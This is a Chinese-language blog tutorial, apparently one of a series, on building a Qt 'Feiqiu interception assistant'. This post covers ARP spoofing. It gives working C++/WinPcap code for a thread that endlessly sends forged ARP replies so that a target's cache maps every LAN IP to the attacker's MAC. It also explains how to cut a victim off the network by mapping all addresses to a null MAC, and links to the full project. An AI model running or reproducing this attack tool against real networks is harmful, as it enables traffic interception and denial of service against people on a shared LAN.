1. 程式人生 > >Qt:Qt實現飛秋攔截助手—ARP攻擊

Qt:Qt實現飛秋攔截助手—ARP攻擊

Qt實現飛秋攔截助手—ARP攻擊

前言

繼續我們的飛秋攔截助手開發,上篇是Qt:Qt實現飛秋攔截助手—Mac地址掃描器 ,本篇將介紹 如何進行ARP攻擊,也叫ARP欺騙
我們知道本機有個ARP快取表 儲存的是IP地址和實體地址的對映 IP_A -> MAC_A 是一一對應的。我們這裡還是拿 A、B、C 3臺主機做比喻,A和B通訊,C是攻擊者。
ARP攻擊 就是,主機C 一直給 攻擊目標A傳送ARP應答包,告訴他 我是IP_B,我的實體地址是MAC_C,然後 主機 A 就會更新 本機ARP快取 IP_B ->MAC_C。這樣當主機A 上層應用想給 主機B 傳送訊息,進行組包後 在網絡卡層 目的mac本應該是MAC_B但是已經被我們的ARP攻擊一直欺騙著,這樣訊息 就不會發送到MAC_B 而是會發送給 攻擊者MAC_C。

效果

先看看效果,在說。
這是介面,1.2是本機 也就是攻擊者,1.9 是虛擬機器 攻擊目標,1.1是閘道器,1.3 1.4是2臺手機。
在這裡插入圖片描述
被攻擊者 虛擬機器1.9的ARP快取表 被攻擊後的資料 。已經被ARP欺騙了,區域網中的IP對應的mac地址已經被替換為攻擊者的mac地址了。
在這裡插入圖片描述
在看看 wireshark抓包情況
在這裡插入圖片描述

核心程式碼

主要是 組一個 ARP應答包,一直髮送給攻擊者,告訴他,區域網中所有的IP對應的mac地址是 攻擊者的Mac,正常的ARP快取重新整理大概是10分鐘,當你重新整理為正確的,我這邊又給你覆蓋掉了,你就沒咒唸了。這裡ARP攻擊不光可以 遮蔽區域網,你可也攻擊對方讓對方上不了網,怎樣弄呢?將0.0.0.0 ~ 255.255.255.255的所有的IP對應的MAC地址全部替換為00:00:00:00:00:00無效的實體地址就可以了。同樣是利用一直迴圈傳送ARP應答包來實現欺騙的。
下面是具體細節程式碼,底層資料包傳送使用的

WinPcap庫,其他就是C++程式碼 以及根據協議組包 和qt的知識了。

void ArpAttackThread::run(){
    if( this->mAdapterHandle == nullptr){
        qDebug() << "網絡卡裝置沒有開啟";
        return;
    }
    char tmp[18] = {0};

    // 構造ARP請求包 ,2位元組及以上的 存在大小端對齊問題,需要轉換為網路位元組序
    ArpPackage package;

    // 乙太網 頭部
    memcpy(package.ethHead.destEthAddr,this->mAtkMacAddr,6);
    memcpy(package.ethHead.srcEthAddr,this->mCurMacAddr,6);
    package.ethHead.frameType = htons(0x0806);

    Utils::macToHexString(package.ethHead.srcEthAddr,tmp);

    // 構造ARP請求體內容
    package.arpBody.hardType = htons(1);// 乙太網地址
    package.arpBody.protocolType = htons(0x0800); // IP地址
    package.arpBody.hardLen = 6;
    package.arpBody.protocolLen = 4;
    package.arpBody.op = htons(2);  // ARP應答包

    memcpy(package.arpBody.destEthAddr,this->mAtkMacAddr,6);
    memcpy(package.arpBody.srcEthAddr,this->mCurMacAddr,6);
    Utils::htonN(reinterpret_cast<uint8_t*>(&this->mAtkIPAddr),package.arpBody.destIpAddr,4);

    // 傳送ARP應答包 欺騙目的主機
    while(true){
        if(this->isAttack == false)
            break;
        // 傳送ARP應答包,將攻擊目標 ARP快取中的 區域網中所有的MAC地址 全部改為自己,達到ARP欺騙的目的
        // 如果想讓對方 不能上網,很簡單 將0.0.0.0-255.255.255.255 所有IP都給對應的MAC地址 改為無效的MAC 就能達到
        for(uint32_t ipAddr = mNetworkAddr+1; ipAddr < mBroadcastAddr; ipAddr++){
            if( ipAddr == this->mAtkIPAddr)
                continue;

            struct in_addr addr;
            addr.S_un.S_addr = htonl(ipAddr);
            qDebug() << inet_ntoa( addr);

            Utils::htonN(reinterpret_cast<uint8_t*>(&(ipAddr)),package.arpBody.srcIpAddr,4);
            int ret = pcap_sendpacket(this->mAdapterHandle,reinterpret_cast<unsigned char*>(&package),42);
            if( ret != 0){
                qDebug() << inet_ntoa( addr) << " 傳送失敗!" ;
            }
            Sleep(100);
        }
        Sleep(3000);
    }
    // 關閉裝置
    pcap_close(this->mAdapterHandle);

    // 已經停止ARP欺騙
    emit stopDone();
}

完整程式碼

程式碼是接著上篇 MAC地址掃描器寫的,這次的完整專案這裡下載